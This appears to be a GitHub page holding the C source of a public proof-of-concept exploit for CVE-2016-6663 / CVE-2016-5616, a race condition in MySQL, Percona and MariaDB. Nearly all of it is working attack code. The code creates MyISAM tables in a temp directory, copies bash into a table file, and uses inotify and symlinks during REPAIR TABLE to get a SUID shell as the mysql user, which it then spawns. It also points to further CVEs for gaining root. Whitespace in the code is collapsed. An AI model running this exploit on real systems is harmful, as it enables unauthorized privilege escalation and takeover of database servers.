You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
#include<fcntl.h>#include<grp.h>#include<mysql.h>#include<pwd.h>#include<stdint.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<sys/inotify.h>#include<sys/stat.h>#include<sys/types.h>#include<sys/wait.h>#include<time.h>#include<unistd.h>#defineEXP_PATH "/tmp/mysql_privesc_exploit"
#defineEXP_DIRN "mysql_privesc_exploit"
#defineMYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
#defineMYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
#defineSUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
#defineMAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
MYSQL*conn; // DB handlesMYSQL_RES*res;
MYSQL_ROWrow;
unsigned longcnt;
voidintro() {
printf(
"\033[94m\n""MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n""mysql-privesc-race.c (ver. 1.0)\n\n""CVE-2016-6663 / CVE-2016-5616\n\n""For testing purposes only. Do no harm.\n\n""Discovered/Coded by:\n\n""Dawid Golunski \n""http://legalhackers.com""\033[0m\n\n");
}
voidusage(char*argv0) {
intro();
printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}
voidmysql_cmd(char*sql_cmd, intsilent) {
if (!silent) {
printf("%s \n", sql_cmd);
}
if (mysql_query(conn, sql_cmd)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
res=mysql_store_result(conn);
if (res>0) mysql_free_result(res);
}
intmain(intargc,char**argv)
{
intrandomnum=0;
intio_notified=0;
intmyd_handle;
intwpid;
intis_shell_suid=0;
pid_tpid;
intstatus;
structstatst;
/* io notify */intfd;
intret;
charbuf[4096] __attribute__((aligned(8)));
intnum_read;
structinotify_event*event;
/* credentials */char*user=argv[1];
char*password=argv[2];
char*db_host=argv[3];
char*database=argv[4];
// Disable buffering of stdoutsetvbuf(stdout, NULL, _IONBF, 0);
// Get the paramsif (argc!=5) {
usage(argv[0]);
exit(1);
}
intro();
// Show initial privilegesprintf("\n[+] Starting the exploit as: \n");
system("id");
// Connect to the database server with provided credentialsprintf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
conn=mysql_init(NULL);
if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
// Prepare tmp dirprintf("\n[+] Creating exploit temp directory %s\n", "/tmp/"EXP_DIRN);
umask(000);
system("rm -rf /tmp/"EXP_DIRN" && mkdir /tmp/"EXP_DIRN);
system("chmod g+s /tmp/"EXP_DIRN );
// Prepare exploit tables :)printf("\n[+] Creating mysql tables \n\n");
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '"EXP_PATH"'", 0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '"EXP_PATH"'", 0);
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file// The file should be owned by mysql:attacker thanks to the sticky bit on the table directoryprintf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");
system("cp /bin/bash "SUID_SHELL);
system("ls -l "SUID_SHELL);
// Use inotify to get the timing rightfd=inotify_init();
if (fd<0) {
printf("failed to inotify_init\n");
return-1;
}
ret=inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */printf("\n[+] Entering the race loop... Hang in there...\n");
while ( is_shell_suid!=1 ) {
cnt++;
if ( (cnt % 100) ==0 ) {
printf("->");
//fflush(stdout);
}
/* Create empty file , remove if already exists */unlink(MYSQL_TEMP_FILE);
unlink(MYSQL_TAB_FILE);
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '"EXP_PATH"'", 1);
/* random num if needed */srand ( time(NULL) );
randomnum= ( rand() % MAX_DELAY );
// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlinkpid=fork();
if (pid<0) {
fprintf(stderr, "Fork failed :(\n");
}
/* Child process - executes REPAIR TABLE SQL statement */if (pid==0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
// child stops hereexit(0);
}
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */if (pid>0 ) {
io_notified=0;
while (1) {
intprocessed=0;
ret=read(fd, buf, sizeof(buf));
if (ret<0) {
break;
}
while (processed<ret) {
event= (structinotify_event*)(buf+processed);
if (event->mask&IN_CLOSE) {
if (!strcmp(event->name, "exploit_table.TMD")) {
//usleep(randomnum);// Set the .MYD permissions to suid+exec before they get copied to the .TMD file unlink(MYSQL_TAB_FILE);
myd_handle=open(MYSQL_TAB_FILE, O_CREAT, 0777);
close(myd_handle);
chmod(MYSQL_TAB_FILE, 04777);
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+execunlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL, MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed+=sizeof(structinotify_event);
}
if (io_notified) {
break;
}
}
waitpid(pid, &status, 0);
}
// Check if SUID bit was set at the end of this attemptif ( lstat(SUID_SHELL, &st) ==0 ) {
if (st.st_mode&S_ISUID) {
is_shell_suid=1;
}
}
}
printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
system("ls -l "SUID_SHELL);
printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
system(SUID_SHELL" -p -i ");
//system(SUID_SHELL " -p -c '/bin/bash -i -p'");/* close MySQL connection and exit */printf("\n[+] Job done. Exiting\n\n");
mysql_close(conn);
return0;
}